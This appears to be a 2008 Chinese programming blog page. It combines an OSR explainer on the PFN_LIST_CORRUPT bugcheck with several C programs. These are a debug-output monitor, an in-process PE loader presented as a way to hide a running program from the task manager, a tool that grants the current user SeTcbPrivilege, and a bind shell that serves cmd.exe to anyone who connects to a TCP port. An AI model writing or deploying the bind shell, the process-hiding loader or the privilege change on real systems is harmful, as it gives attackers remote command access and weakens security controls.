分类:
2008-10-13 16:34:14
Bugchecks Explained: PFN_LIST_CORRUPT
OSR Staff | Published: 24-Aug-04| Modified: 24-Aug-04
What Happened?
Windows tracks physical pages of memory using a table called the Page Frame Database. This database (which actually is just a big one-dimensional array) is indexed by physical page number. As a result, the page frame database is typically referred to as the Page Frame Number list or PFN.
Every page of physical memory has an associated PFN entry. Each PFN entry contains information about the state of its corresponding physical page in the system. This state includes information about whether the corresponding physical page is in use, how it’s being used, a count of active users of the page, and a count of pending I/O operations on the page.
Depending on the pages state, a PFN entry may be on one of several lists that the Memory Manager maintains. The listheads for these lists are simple global variables that are used for quick access to PFN entries of certain types. For example, one such list would be the list that contains all the modified pages that need to be written to disk.
Because all the PFN lists and entries are present in the high half of kernel virtual address space, they are subject to corruption through stray pointer accesses (such as by errant drivers or other similar kernel-mode modules). Also, the count in the PFN that tracks the number of I/O related accesses to a given physical page can be corrupted by improper MDL handling.
Whenever Windows detects that any of the PFN lists or any of the PFN entries themselves have become invalid, the system halts with a PFN_LIST_CORRUPT bugcheck.
Who Did It?
This bugcheck usually occurs for one of two reasons, the first reason being memory corruption. If there is a buggy driver in the system that is writing on memory that it does not own, it could easily corrupt one of the PFN lists or entries. In order to rule this out, you should run Driver Verifier with Special Pool enabled for suspect drivers in the system. This will hopefully allow you to catch the misbehaving driver in the act of scribbling memory, instead of receiving a crash sometime later when the O/S discovers the damage.
The second cause for this bugcheck is incorrect MDL handling. For example, one use of MDLs is to allow you to "lock" the physical memory that backs a virtual address range so that the memory stays resident while your driver is accessing it. This is achieved by using the MmProbeAndLockPages DDI. One of the things that this DDI does is take out a reference on the PFN entries of the underlying physical pages, ensuring that the Memory Manager does not page them out. The corresponding DDI to undo this operation, MmUnlockPages, is responsible for decrementing the reference counts taken out in the previous call. If a driver happens to call MmUnlockPages too many times on an MDL, the reference count on the underlying PFN entries could drop to below zero (to 0xFFFFFFFF). The system considers this to be a critical error, as one or more of the PFN entries is obviously invalid. Therefore, this bugcheck will occur.
If your driver or a driver in your stack is being blamed for a PFN_LIST_CORRUPT bugcheck, go over your code and make sure that you are properly handling your MDLs . Remember that even if you do not create or destroy any MDLs directly, you play a part in the creation and destruction of them if you handle IRPs whose buffers are described with DIRECT_IO. Driver Verifier and the checked build of Windows can help pinpoint IRP and MDL handling errors.
How Should I Fix It?
How this is fixed varies depending on the reason of the bugcheck. Using Driver Verifier and the checked build of the O/S should allow you to pinpoint the driver that is either corrupting memory or mishandling MDLs. If the offending driver is not a driver that you have any control over, the only available option is disabling the driver until a fixed version is available.
Related WinDBG Commands
· !memusage
· !pfn
Related O/S Structures
· nt!_MMPFN
· nt!_MMPFNENTRY
· nt!_MMPFNLIST
Related O/S Variables
· nt!MmBadPageListHead
· nt!MmStandbyPageListHead
· nt!MmModifiedNoWritePageListHead
· nt!MmModifiedPageListHead
· nt!MmFreePageListHead
· nt!MmZeroedPageListHead
· nt!MmRomPageListHead
sysinternals的dbgview想必大家都用过,我写了一个简单的,只监视user层OutputDebugString的输出,原理都包含在代码里了,希望对你有帮助,没有的话就算了:P
// DBMntor.cpp : Little dbgview。。。。
// Coder Jozu
//
#include
#include
#include
#include
#define PAGE_SIZE 4096
#define DBWIN_MAP "DBWIN_BUFFER"
#define DBWIN_WRITEVENT "DBWIN_BUFFER_READY"
#define DBWIN_READEVENT "DBWIN_DATA_READY"
typedef struct _tag_DBMap
{
DWORD dwProcessId;
CHAR szString[PAGE_SIZE - sizeof(DWORD)];
} DB_MAP, *PDB_MAP;
int main(int argc, char* argv[])
{
HANDLE hMap;
PDB_MAP pDBMap;
HANDLE hEventRead;
HANDLE hEventWrite;
HANDLE hMutex;
hMutex = CreateMutex(NULL, FALSE, "DBWinMutex");
hEventRead = CreateEvent(NULL, TRUE, FALSE, DBWIN_READEVENT);
hEventWrite = CreateEvent(NULL, TRUE, FALSE, DBWIN_WRITEVENT);
if(!hEventRead || !hEventWrite)
{
return 0;
}
hMap = CreateFileMapping(INVALID_HANDLE_VALUE,
NULL,
PAGE_READONLY,
0,
PAGE_SIZE,
DBWIN_MAP);
if(!hMap)
return 0;
pDBMap = (PDB_MAP)MapViewOfFile(hMap,
FILE_MAP_READ,
0,
0,
0);
if(!pDBMap)
{
CloseHandle(hMap);
return 0;
}
SetEvent(hEventWrite);
while(TRUE)
{
WaitForSingleObject(hEventRead, INFINITE);
printf("%d==>%s\n", pDBMap->dwProcessId, pDBMap->szString);
}
return 0;
}
hiahia,被这个题目吓住了吧,一个CreateProcess不就可以吗,嘿嘿,可是你会看到两个进程存在,这里要干的是让进程管理器只能看到一个进程。好了,如果你有了Win32进程的基础理论,了解PE格式,再加上熟悉管理进程(当然你要是不知道这些,代码运行以后的效果你都不会看到。。。那我不是白忙了:P)开始:
先来看看代码:
// ExeLoader.cpp : Defines the entry point for the console application.
//
// Coder Jozu
#include
#include
#include
#include
#define MakePtr( cast, ptr, addValue ) (cast)( (DWORD)(ptr) + (DWORD)(addValue))
//////////////////////////////////////////////////////////////////////////
void CopyRight()
{
_tprintf("ExeLoader --- Load a exe FILE and execute it IN CURRENT CONTEXT.\n");
_tprintf(" Coder Jozu.\n");
_tprintf("----------------------------------------------------------------\n");
}
//////////////////////////////////////////////////////////////////////////
void Usage()
{
_tprintf("Exeloader program\n");
_tprintf("ExeLoader program\n");
_tprintf(" Program is what you want to executed.\n");
}
//////////////////////////////////////////////////////////////////////////
HINSTANCE hInst;
typedef HMODULE (WINAPI* LPFNGETMODULEHANDLEA)(LPCSTR lpModuleFilename);
typedef HMODULE (WINAPI* LPFNGETMODULEHANDLEW)(LPCWSTR lpModuleFilename);
LPFNGETMODULEHANDLEA lpfnGetModulehandleA = NULL;
LPFNGETMODULEHANDLEW lpfnGetModulehandleW = NULL;
static
HMODULE
WINAPI
HandlerGetModuleHandleA(LPCSTR lpModuleFileName)
{
if(!lpModuleFileName)
return hInst;
return lpfnGetModulehandleA(lpModuleFileName);
}
static
HMODULE
WINAPI
HandlerGetModuleHandleW(LPCWSTR lpModuleFileName)
{
if(!lpModuleFileName)
return hInst;
return lpfnGetModulehandleW(lpModuleFileName);
}
//////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////
DWORD
WINAPI
GetFunctionAddrWithIndex(HMODULE hInst, PIMAGE_IMPORT_BY_NAME piibn)
{
//
// I am tired of do this bitch, so just do it directly
// Don't say it is a bug. en....
//
if( !stricmp((LPCSTR)piibn->Name, "GetModuleHandleA") )
return (DWORD)HandlerGetModuleHandleA;
if( !stricmp((LPCSTR)piibn->Name, "GetModuleHandleW") )
return (DWORD)HandlerGetModuleHandleW;
return (DWORD)GetProcAddress(hInst, (LPCSTR)piibn->Hint);
}
//////////////////////////////////////////////////////////////////////////
DWORD
WINAPI
GetFunctionAddrWithName(HMODULE hInst, PIMAGE_IMPORT_BY_NAME piibn)
{
if( !stricmp((LPCSTR)piibn->Name, "GetModuleHandleA") )
return (DWORD)HandlerGetModuleHandleA;
if( !stricmp((LPCSTR)piibn->Name, "GetModuleHandleW") )
return (DWORD)HandlerGetModuleHandleW;
return (DWORD)GetProcAddress(hInst, (LPCSTR)piibn->Name);
}
//////////////////////////////////////////////////////////////////////////
BOOL
WINAPI
WalkWithImportTable(PVOID hInst)
{
#define THUNK_INDEXMASK 0x80000000
PIMAGE_DOS_HEADER pidh;
PIMAGE_NT_HEADERS pinhs;
PIMAGE_SECTION_HEADER pish;
PIMAGE_IMPORT_DESCRIPTOR piid;
BOOL bDone = FALSE;
HMODULE hModule;
LPCSTR lpDllName;
PIMAGE_THUNK_DATA pitd;
PIMAGE_THUNK_DATA pFirstThunk;
PIMAGE_IMPORT_BY_NAME piibn;
DWORD dwFuncAddr;
SYSTEM_INFO si;
MEMORY_BASIC_INFORMATION mbi;
pidh = (PIMAGE_DOS_HEADER)hInst;
pinhs = MakePtr(PIMAGE_NT_HEADERS, pidh, pidh->e_lfanew);
pish = MakePtr(PIMAGE_SECTION_HEADER, pinhs, sizeof(*pinhs));
piid = MakePtr(PIMAGE_IMPORT_DESCRIPTOR, pidh,
pinhs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
if(piid->TimeDateStamp == 0)
{
_tprintf("sorry about it.... You try to execute a exe with no bind import table. I will process later\n");
return FALSE;
}
if((DWORD)piid == (DWORD)pidh)
{
_tprintf("ft.... You try to execute a exe with no import table?");
return FALSE;
}
while(piid->Name != (DWORD)0)
{
lpDllName = MakePtr(LPCSTR, pidh, piid->Name);
_tprintf("Processes dll: %s.\n", lpDllName);
//
// Check this dll is loaded, if not, just load it!
//
if((hModule = GetModuleHandle(lpDllName)) == NULL)
hModule = LoadLibrary(lpDllName);
//
// Walk with the functions, if the functions not been bind,
// we can use FirstThunk or OriginalFirstThunk, else
// we use OriginalFirstThunk
//
pitd = MakePtr(PIMAGE_THUNK_DATA, pidh, piid->OriginalFirstThunk);
pFirstThunk = MakePtr(PIMAGE_THUNK_DATA, pidh, piid->FirstThunk);
//
// Make virtual memory could be write
//
GetSystemInfo(&si);
VirtualQuery(pFirstThunk, &mbi, sizeof(mbi));
if( (mbi.Protect & PAGE_READWRITE) != PAGE_READWRITE)
{
if(!VirtualProtect(mbi.BaseAddress, si.dwPageSize, PAGE_READWRITE, &mbi.Protect))
return FALSE;
}
while(*(DWORD*)pitd)
{
if((*(DWORD*)pitd & THUNK_INDEXMASK) == THUNK_INDEXMASK)
{
piibn = MakePtr(PIMAGE_IMPORT_BY_NAME, pidh, (*(DWORD*)pitd & ~THUNK_INDEXMASK));
dwFuncAddr = GetFunctionAddrWithIndex(hModule, piibn);
}
else
{
piibn = MakePtr(PIMAGE_IMPORT_BY_NAME, pidh, *(DWORD*)pitd);
dwFuncAddr = GetFunctionAddrWithName(hModule, piibn);
}
if(!dwFuncAddr)
{
_tprintf("Function address return NULL. abort...\n");
return FALSE;
}
//
// Patch to import table.
//
pFirstThunk->u1.AddressOfData = dwFuncAddr;
pFirstThunk++;
pitd++;
}
if(!VirtualProtect(mbi.BaseAddress, si.dwPageSize, mbi.Protect, &mbi.Protect))
return FALSE;
piid++;
}
return TRUE;
}
//////////////////////////////////////////////////////////////////////////
int _tmain(int argc, LPCTSTR argv[])
{
BOOL bDone = FALSE;
DWORD dwOffset;
PIMAGE_DOS_HEADER pidh;
PIMAGE_NT_HEADERS pinhs;
LPSTR lpCmdLine;
LPWSTR lpwCmdLine;
WCHAR lpwArgv1[MAX_PATH];
CopyRight();
if(argc != 2)
{
Usage();
return 1;
}
/*
#ifdef _DEBUG
LoadLibrary("User32.dll");
WalkWithImportTable(GetModuleHandle("user32.dll"));
#endif
*/
//
// We should handle GetModuelhandle() function
//
lpfnGetModulehandleA = (LPFNGETMODULEHANDLEA)
GetProcAddress(GetModuleHandle("kernel32.dll"), "GetModuleHandleA");
lpfnGetModulehandleW = (LPFNGETMODULEHANDLEW)
GetProcAddress(GetModuleHandle("kernel32.dll"), "GetModuleHandleW");
__try
{
//
// Validate this file is a executable PE file
//
GetFileAttributes(argv[1]);
if(GetLastError() != ERROR_SUCCESS)
{
_tprintf("%s File not found!\n", argv[1]);
__leave;
}
//
// Load file with DONT_RESOLVE_DLL_REFERENCES will not redirect import table,
// so we will do it manual
//
hInst = LoadLibraryEx(argv[1], NULL, DONT_RESOLVE_DLL_REFERENCES);
pidh = MakePtr(PIMAGE_DOS_HEADER, hInst, 0);
if(pidh->e_magic != IMAGE_DOS_SIGNATURE)
{
_tprintf("Invalidate file format.\n");
__leave;
}
pinhs = MakePtr(PIMAGE_NT_HEADERS, hInst, pidh->e_lfanew);
if(pinhs->Signature != IMAGE_NT_SIGNATURE)
{
_tprintf("Invalidate file format.\n");
__leave;
}
dwOffset = pinhs->OptionalHeader.AddressOfEntryPoint + (DWORD)hInst;
//
// Redirect import table of PE file.
//
if(!WalkWithImportTable(hInst))
{
_tprintf("Redirect file import table failed. abort...\n");
__leave;
}
//
// We will patch the command line, There is no error handler,
// if it is failed, I could say nothing....
//
lpCmdLine = GetCommandLine();
strcpy(lpCmdLine, argv[1]);
lpwCmdLine = GetCommandLineW();
MultiByteToWideChar(CP_ACP, 0, argv[1], -1, lpwArgv1, MAX_PATH);
wcscpy(lpwCmdLine, lpwArgv1);
__try
{
//
// Goto call entrypoint.
//
((FARPROC)(dwOffset))();
//
// If the exe call exitprocess() directly, We will never goto next.
// so if you want to do some post-processes, please hook this functions.
//
}
__finally {}
bDone = TRUE;
}
__finally {}
getchar();
return 0;
}
基本思路是这样的:
首先装载exe文件,然后自己为它进行导出函数的重定向,把控制转移到exe文件的入口点,代码中有一些会有问题,我都作了注释,希望你看得时候注意。
其中未邦定的API定位部分我没有时间实现了,不过如果你有兴趣可以自己加。have fun。
CSRSS线程数据结构
typedef struct tagTHREADINFO {
W32THREAD;
//***************************************** begin: USER specific fields
PTL ptl; // Listhead for thread lock list
PPROCESSINFO ppi; // process info struct for this thread
PQ pq; // keyboard and mouse input queue
PKL spklActive; // active keyboard layout for this thread
PCLIENTTHREADINFO pcti; // Info that must be visible from client
PDESKTOP rpdesk;
PDESKTOPINFO pDeskInfo; // Desktop info visible to client
PCLIENTINFO pClientInfo; // Client info stored in TEB
DWORD TIF_flags; // TIF_ flags go here.
PUNICODE_STRING pstrAppName; // Application module name.
PSMS psmsSent; // Most recent SMS this thread has sent
PSMS psmsCurrent; // Received SMS this thread is currently processing
PSMS psmsReceiveList; // SMSs to be processed
LONG timeLast; // Time, position, and ID of last message
ULONG_PTR idLast;
int cQuit;
int exitCode;
HDESK hdesk; // Desktop handle
int cPaintsReady;
UINT cTimersReady;
PMENUSTATE pMenuState;
union {
PTDB ptdb; // Win16Task Schedule data for WOW thread
PWINDOWSTATION pwinsta; // Window station for SYSTEM thread
};
PSVR_INSTANCE_INFO psiiList; // thread DDEML instance list
DWORD dwExpWinVer;
DWORD dwCompatFlags; // The Win 3.1 Compat flags
DWORD dwCompatFlags2; // new DWORD to extend compat flags for NT5+ features
PQ pqAttach; // calculation variabled used in
// zzzAttachThreadInput()
PTHREADINFO ptiSibling; // pointer to sibling thread info
PMOVESIZEDATA pmsd;
DWORD fsHooks; // WHF_ Flags for which hooks are installed
PHOOK sphkCurrent; // Hook this thread is currently processing
PSBTRACK pSBTrack;
HANDLE hEventQueueClient;
PKEVENT pEventQueueServer;
LIST_ENTRY PtiLink; // Link to other threads on desktop
int iCursorLevel; // keep track of each thread's level
POINT ptLast;
PWND spwndDefaultIme; // Default IME Window for this thread
PIMC spDefaultImc; // Default input context for this thread
HKL hklPrev; // Previous active keyboard layout
int cEnterCount;
MLIST mlPost; // posted message list.
USHORT fsChangeBitsRemoved;// Bits removed during PeekMessage
WCHAR wchInjected; // character from last VK_PACKET
DWORD fsReserveKeys; // Keys that must be sent to the active
// active console window.
PKEVENT *apEvent; // Wait array for xxxPollAndWaitForSingleObject
ACCESS_MASK amdesk; // Granted desktop access
UINT cWindows; // Number of windows owned by this thread
UINT cVisWindows; // Number of visible windows on this thread
PHOOK aphkStart[CWINHOOKS]; // Hooks registered for this thread
CLIENTTHREADINFO cti; // Use this when no desktop is available
} THREADINFO;
TIF_flags---以后研究
// 前一段时间一个朋友让我帮忙写一个的程序演示CreateProcessAsUser的用法,我写完以后运行,
// 发现2K/XP/2003系统下居然默认把Administrator的SeTcbPrivilege权限去掉了, 而且SDK提供的API没有添加这个权限的功能,
// shit, 最后只好把功能写到了一个服务里. 颇为不爽
// 今天有了时间,整理了思路,准备绕一个弯子,把Administrator的SeTcbPribilege权限打开。
// 当然这样的系统含有一定的安全隐患,但是真的被人利用了其他未公开的Bugs,这个隐患又算得了什么呢。。。
//
// 代码很简单,有兴趣可以看看。运行这个程序你必须有管理员权限,如果要起作用需要重新登陆一次,唉,Windows。。。。
// 废话少说,goto code
//
// Coder Jozu
////////////////////////////////////////////////////////////////////
//
#ifndef UNICODE
#define UNICODE
#endif
#include
#include
#include
#include
#ifndef STATUS_SUCCESS
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#endif
#ifdef _DEBUG
#define JASSERT(x) printf x
#else
#define JASSERT(x)
#endif
#define RET_OK 1
#define RET_ERR 2
#define RET_UKN 0
#define MAX_NAME_LEN 200
//////////////////////////////////////////////////////////////////////////
void
InitUnicodeString( OUT PLSA_UNICODE_STRING LsaUnicodeString, IN LPWSTR pwszString)
{
memset(LsaUnicodeString, 0, sizeof(LsaUnicodeString));
LsaUnicodeString->Length = wcslen(pwszString) * sizeof(WCHAR);
LsaUnicodeString->MaximumLength = LsaUnicodeString->Length + sizeof(UNICODE_NULL);
LsaUnicodeString->Buffer = pwszString;
}
//////////////////////////////////////////////////////////////////////////
LSA_HANDLE
WINAPI
OpenPolicy(DWORD DesiredAccess, LPWSTR ServerName)
{
LSA_HANDLE PolicyHandle = NULL;
LSA_OBJECT_ATTRIBUTES ObjectAttributes;
LSA_UNICODE_STRING ServerNameString;
NTSTATUS Status;
memset(&ObjectAttributes, 0, sizeof(LSA_OBJECT_ATTRIBUTES));
InitUnicodeString(&ServerNameString, ServerName);
Status = LsaOpenPolicy( &ServerNameString,
&ObjectAttributes,
DesiredAccess,
&PolicyHandle);
if(Status != STATUS_SUCCESS)
{
JASSERT(("OpenPolicy->LsaOpenPolicy error %X\n", Status));
}
return PolicyHandle;
}
//////////////////////////////////////////////////////////////////////////
BOOL
WINAPI
GetAccountSid(LPTSTR AccountName,
PSID *Sid)
{
PSID pSID = NULL;
DWORD cbSid = 0;
LPTSTR DomainName = NULL;
DWORD cbDomainName = 0;
SID_NAME_USE SIDNameUse;
BOOL bDone = FALSE;
__try
{
if(!LookupAccountName(NULL, // we only concertrate local machine.
AccountName,
pSID,
&cbSid,
DomainName,
&cbDomainName,
&SIDNameUse))
{
pSID = (PSID)malloc(cbSid);
DomainName = (LPTSTR)malloc(cbDomainName * sizeof(TCHAR));
if(!pSID || !DomainName)
{
JASSERT(("Not enough memory! failed...\n"));
__leave;
}
if(!LookupAccountName(NULL,
AccountName,
pSID,
&cbSid,
DomainName,
&cbDomainName,
&SIDNameUse))
{
JASSERT(("Not enough memory! failed...\n"));
__leave;
}
bDone = TRUE;
}
}
__finally
{
if(DomainName)
free(DomainName);
if(!bDone && pSID)
free(pSID);
}
if(bDone)
*Sid = pSID;
return bDone;
}
//////////////////////////////////////////////////////////////////////////
BOOL
WINAPI
AdjustUserPolicy(LSA_HANDLE PolicyHandle,
PSID pAccountSid,
LPWSTR lpwSePrivilege,
BOOL fRemove)
{
LSA_UNICODE_STRING SePrivilegeString;
NTSTATUS Status;
InitUnicodeString(&SePrivilegeString, lpwSePrivilege);
if(fRemove)
{
Status = LsaRemoveAccountRights(PolicyHandle,
pAccountSid,
FALSE,
&SePrivilegeString,
1);
}
else
{
Status = LsaAddAccountRights(PolicyHandle,
pAccountSid,
&SePrivilegeString,
1);
}
return (Status == STATUS_SUCCESS);
}
//////////////////////////////////////////////////////////////////////////
int main(int argc, char** argv)
{
LSA_HANDLE PolicyHandle = NULL;
PSID pSid = NULL;
DWORD cbAccountName = MAX_NAME_LEN;
TCHAR AccountName[MAX_NAME_LEN];
TCHAR wComputerName[] = L"";
int nRet = RET_ERR;
__try
{
if(!GetUserName(AccountName, &cbAccountName))
{
printf("ft..... How long are your name?\n");
__leave;
}
PolicyHandle = OpenPolicy(POLICY_CREATE_ACCOUNT | POLICY_LOOKUP_NAMES, wComputerName);
if(!PolicyHandle)
{
printf("OpenPolicy return NULL\n");
__leave;
}
if(!GetAccountSid(AccountName, &pSid))
{
printf("GetAccountSid return false\n");
__leave;
}
if(!AdjustUserPolicy(PolicyHandle, pSid, SE_TCB_NAME, FALSE))
{
printf("AdjustUserPolicy return false\n");
__leave;
}
nRet = RET_OK;
}
__finally
{
if(pSid)
free(pSid);
if(PolicyHandle)
LsaClose(PolicyHandle);
}
return nRet;
}
// Redirect command console
// Coder Jozu
#include
#include
#include
#include
#pragma comment(lib, "ws2_32")
int main(int argc, char* argv[])
{
SOCKET s;
SOCKET s1;
SOCKADDR_IN sin;
WSADATA wsa;
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
char szCmd[] = "cmd";
WSAStartup(MAKEWORD(1, 1), &wsa);
s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
if(s == INVALID_SOCKET)
{
printf("Error on WSASocket %d, abort...", WSAGetLastError());
return 1;
}
sin.sin_family = AF_INET;
sin.sin_addr.S_un.S_addr = inet_addr("192.168.0.88");
sin.sin_port = htons(1234);
if(bind(s, (sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR)
{
printf("Error on connect %d, abort...", WSAGetLastError());
return 1;
}
listen(s, 5);
s1 = accept(s, NULL, NULL);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)s1;
CreateProcess(NULL, szCmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
return 0;
}